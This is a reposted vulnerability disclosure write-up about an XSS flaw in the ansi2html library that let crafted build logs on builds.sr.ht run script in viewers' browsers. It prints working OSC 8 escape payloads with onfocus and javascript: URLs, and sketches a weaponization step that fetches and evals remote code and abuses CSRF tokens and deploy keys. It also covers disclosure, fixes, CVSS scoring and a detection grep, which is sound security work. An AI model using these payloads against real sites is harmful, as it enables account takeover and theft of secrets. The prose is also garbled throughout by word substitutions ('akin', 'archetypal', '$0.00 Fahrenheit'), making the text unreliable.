Sourcehut document takeover via build logs (XSS in ansi2html)

Hacker News by 13 min read 18x views
Sourcehut document takeover via build logs (XSS in ansi2html)

Share Post

Welcome to my archetypal big effect exposure writeup!

I akin fine stories, so let me depict several backdrop first. I lately had a ‘great’ idea (I know, I know, I should halt having these) to set up a sr.ht instance that would pay group for hosting their projects. You can discover it shamelessly plugged in the timeline section, in case you desire to try it or fire me for it on socials.

Anyway, the story. The archetypal stage was to copy several minimal subset of the sr.ht repos, and commencement hacking on it.

No NLP

I lean to contain the following declaration in my exposure investigation submissions from this year. Make from it what you wish.

No NLP has been used in this research. The mistakes are all mine.

Structure

SourceHut is organized in multiple microservices, the chief ones being meta.sr.ht and likely git.sr.ht or hub.sr.ht (the flagship case hosts it at fair sr.ht). And of way builds.sr.ht, the CI.

One small known is mirror.sr.ht (slowly moving to mirror.srht.network), containing prebuilt packages for assorted microservices.

I must say I akin this approach, since it allows a extremely uncomplicated commencement on any machine matching the flagship case distro type exactly.

If your favorite project currently recommends facility via curl|sudo bash or ‘just initiate Claude in this folder’ (sic!), please regard making yourself conscious of the not small valid option of distributing application to end users using genuine application packages instead.1

Building Alpine packages

So if you happen to use a distinct distro, or equal a distinct type of Alpine, you are on your own a bit. So there is the sr.ht-apkbuilds repo, and you can ‘fork’ it to use your signing key, your Alpine type and your mirror. There is additionally sr.ht-pkgbuilds for Arch, but it’s efficiently unmaintained at this point.2

This involves using builds.sr.ht to bootstrap the packages. I tried to appearance at the leaf origin of the build log, because it kept scrolling not anywhere I wanted, which annoyed me a bit.

That’s whenever I established this:

/* ... */ .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } .ansi38-150150150 { color: #969696; } /* ... */ 

I decided to obtain a nearer appearance how it’s done, and perchance fix it. Look, I akin SourceHut. I can see there is fairly several wasted compute and bandwidth here. I desire them to get affluent so that others prosecute suit, and there is several unnecessary discarded slowing that.3

ansi2html

I took a appearance into the logic converting ANSI escape codes to HTML, and I submitted an matter for it. There has been no action in the repo for complete a twelvemonth at that point, so I decided to activity on it, since I akin receiving fine patches myself, when I am not focused on a particular project. This quickly caused submitting a PR fixing this particular issue.

Given my Capture The Flag background, I started looking into ansi2html a bit more, in hunt for additional bugs (especially that I’m concerning to presenter it myself!). Apart from parsing escape sequences for colors, it additionally allows for automatic links, and OSC 8 hyperlinks. Because the code is not so well-structured yet, I was capable to accomplishment a malicious input cord following reading this awesome XSS cheatsheet (now everlastingly in my bookmarks):

$ printf '\33]8;;https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html [...] <a href="https://example.com/"/autofocus/tabindex="1"/onfocus="alert`xss`">Nothing to see here</a> [...] $ printf '\33]8;;javascript:alert`xss`\7Nothing to see here\33]8;;\7' | ansi2html [...] <a href="javascript:alert`xss`">Nothing to see here</a> [...] 

The erstwhile is value several explanation. No idea why, but as you can check, it parses to the identical DOM tree as:

<a  href="https://example.com/"  autofocus  tabindex="1"  onfocus="alert`xss`">  Nothing to see here </a> 

So if you happen to be capable to create ␛]8;;https://example.com/"/...␇ appear in the job logs —4 which you can, either without equal having an account, by sending a place to a community mailing catalog alongside uninterrupted integration turned on, or by controlling any distant asset that happens to be printed to the log — congratulations, you have fair created a build job at https://builds.sr.ht/~someone-else/job/1234567 that executes your payload in all browser that views it. You can present the job yourself, but this requires a paid document on the flagship instance. And there are no anonymous payments currently there.

Weaponizing (do not try this at home)

The genuine payload can be downloaded from an attacker’s website, like eval(await (await fetch('https://example.com')).text()) but here’s several speculation concerning what it could do.

The build log leaf already contains the CSRF token. You can peruse it alongside document.querySelector('[name=_csrf_token]').value for example, or fair use the existing form (part of the ‘Resubmit build’ button), like document.querySelector('[name=manifest]').value=`something`;document.forms[0].submit(). Once you get an admin to perspective it, you can likely aid yourself admin rights. The worse effect is that you have admission to all the deploy keys, and on builds.sr.ht, there are deploy keys for sr.ht itself (probably not the case alongside another instances).

Making this part of the payload is remaining as an exercise for the inquisitive reader. I cannot emphasis this enough: recall to lone test worms on your own infrastructure. And never on production. Even if it’s your production.

How to do defence in degree here?

By restricting Content-Security-Policy. I’m no expert here, but removing ‘unsafe-inline’ would be a fine archetypal step (not helpful direction in itself, since inline scripts are currently used even on the build log leaf itself, for scrolling).

By additional sanitization (SourceHut added it, but it’s overzealous - now there are no colors!).

And by restructuring the code in ansi2html into several stateful transducer automaton thing.

I immediately emailed ~sircmpwn/[email protected] explaining the complete problem, complete alongside a fix that mitigated the worst part at least.

Drew (can I call you Drew? I conjecture we are all brothers in Source) ended up patching builds.sr.ht to auto-sanitize the output from ansi2html instead. Also a fine choice.

Upstream

Then I contacted upstream (maybe a bit too late? exact timeline below). Ansi2html is among the projects featured in the celebrated and by now beaten to death humorous band by Randall Munroe.5 Placed under pycontribs org on GitHub, which ominously states:

PyContribs chief intent is to justify that distinct Python-related projects remain maintained.

I reached out to the two top group from final 5 or so years’ value of contributor graph, emails from git history, in command not to create the matter community yet, although it was already made community by the SourceHut announcement.

The maintainer I believed to be the ‘main’ one (Sorin Sbarnea) has not replied to date (he power be having several benevolent of holiday), although the another one (Sebastian Pipping) has. And the communication was a cryptic, different for me to receive, ‘mail me in two weeks’.

So I patiently waited two weeks, minding my another nascent endeavor (let me try, okay?), and sent the email.

Helping upstream

It turned out that Sebastian (can I call you Sebastian?) is a chill guy and he figured he needed me to assistance him because of item alongside ACLs on the repo. We ended up getting ansi2html up from the suspension it was in, updating several obsolete scripts, and releasing akin 3 or 4 versions of ansi2html to PyPI together.

I tried to be helpful, but had several things going on alongside my PhD-in-spe, so several latency crept in.

Submitting for a CVE

Let’s commencement alongside the hot obtain that CVSS scoring is a fallacy: it have to be distinct for all product and not fair one for one base logic code path.

The intent of CVSS is following all to provision helpful data to downstream users on whether to go place it or not. Researchers have the incentive to create it as elevated as possible. And projects have the incentive to downplay it. They do desire to fix it, but they desire to evade the paperwork involved, and the confidentiality dancing of passing it all about (and I totally get it!).

The issue is, not all application is delivered equal, and this is particularly the case alongside libraries akin libcurl.

CVSS 4.0 is at smallest a bit improved than CVSS 3.x. It now makes a difference on Vulnerable System and Subsequent System. In case of XSS vulnerabilities the representative method is to say that the web assistance is Vulnerable, and the browser is Subsequent (which benevolent of makes sense, because the bug is in the service, but afterward it impacts the casualty browser first in command to assault the web assistance itself again).

The vector I initially came up with has been altered by VulnCheck. Not certain why, but perchance it can be changed back? Or perchance not value bothering. Let me cognize what you think. I additionally desire to add this blog article to the CVE DB, but I power need to inspect how to do it.

  • AV:N - assault vector: network
  • AC:L - assault complexity: low (no guesswork required, no need to bypass or synchronize attacks)
  • AT:N - requirements: none (as opposed to particular config required)
  • PR:N - privileges required: none (just dispatch an email? it power additionally be low if there was no lists.sr.ht)
  • UI:P - person interaction: passive (the casualty must sojourn a location alongside JS on - the lone problem, uncomplicated to solve)

vulnerable scheme (builds.sr.ht / all of sr.ht)

  • VC:H - confidentiality impact: elevated (does logic a direct, grave defeat of confidentiality - secrets get exposed)
  • VI:H - integrity impact: elevated (can present malicious build jobs as casualty alongside admission to deploy keys)
  • VA:N - preparedness impact: none (cannot obtain downward the entire service, unless clogging build workers counts)

subsequent scheme (victim browser)

  • SC:L - confidentiality: low (limited admission to tightly scoped secrets)
  • SI:L - integrity: low (ability to forge tightly scoped requests)
  • SA:N - availability: none (nothing additional than from a straightforward visit)

supplemental

  • AU:Y - automatable: yes (wormable - a casualty can assault others correct away, spreading the scope)
  • R:I - recovery: irrecoverable (users cannot delete build jobs, lone conceal them)
  • V:C - value density: concentrated (a sole case hosts many precious projects alongside precious deploy secrets)
  • RE:L - reply effort: low (basic mitigation: CSP header insertion at proxy level)
  • U:Amber - urgency: amber (moderate urgency: poses straightforward danger to infra but has been sitting there for years)

While the exact effect can and have to be disputed by genuine users (after all, SourceHut boasts operating fair fine without javascript), I would contend for elevated or critical, not fair a uncomplicated medium, because if I were a blackhat, it would qualify that Drew visited an affected build log alongside JS turned on, and I could present a build job in his name alongside admission to SourceHut deploy keys. Not certain how I would rotate that into prosperity or get distant alongside it though. Don’t do this, kids. No excitement justifies it.

Vulnerabile versions

ansi2html >=1.7.0, <1.9.4, builds.sr.ht >= 0.40.0, < 0.105.1

Indicators of compromise

Check your raw build logs for ␛]8;;https://example.com/"/...␇ or ␛]8;;javascript:...␇. In Bash, that would likely be item alongside grep $'\33]8;[^\7\33]*"' for the former.

Full timeline (glad to have imperishable records on everything!)

I’m not so arrogant of this timeline, but hey, at smallest everything is fixed now and there are no (?) records of group trying to use it. I volition contain the authoritative Arch Linux repo and the sr.ht Alpine Linux repo, since the two systems were recommended at one point.

Note how equal carefully auditing ansi2html would not preserve SourceHut, unless redone on all bump. builds.sr.ht remained susceptible for (almost exactly) 4,5 years.

Thanks

God for keeping the blackhat temptations away. Danonek123 for keeping me company. I affection you.

Summary

See, exposure investigation does not need to be a circus, or safety theatre, or a lawyered-up combat against bureaucracy. But afterward you power not end up improved off.

Excluding CTFs & invitations to insignificant conferences (and being allowed to do several VR as part of my internship back whenever at Antmicro, which I am motionless grateful for), I have made a metric 0.00€ (that’s $0.00 Fahrenheit) from my exposure investigation so far. If you desire to assistance me (so that I have additional period for VR), consider purchasing something. I akin it improved than donations (though they are fine too!). I’m additionally accessible for expert safety consulting.

I’m not done! There’s additional coming, although arguably not so critical. Subscribe to my RSS if you don’t desire to young female it.

Other Article Hacker News
↑
Close Right Ads
Close Left Ads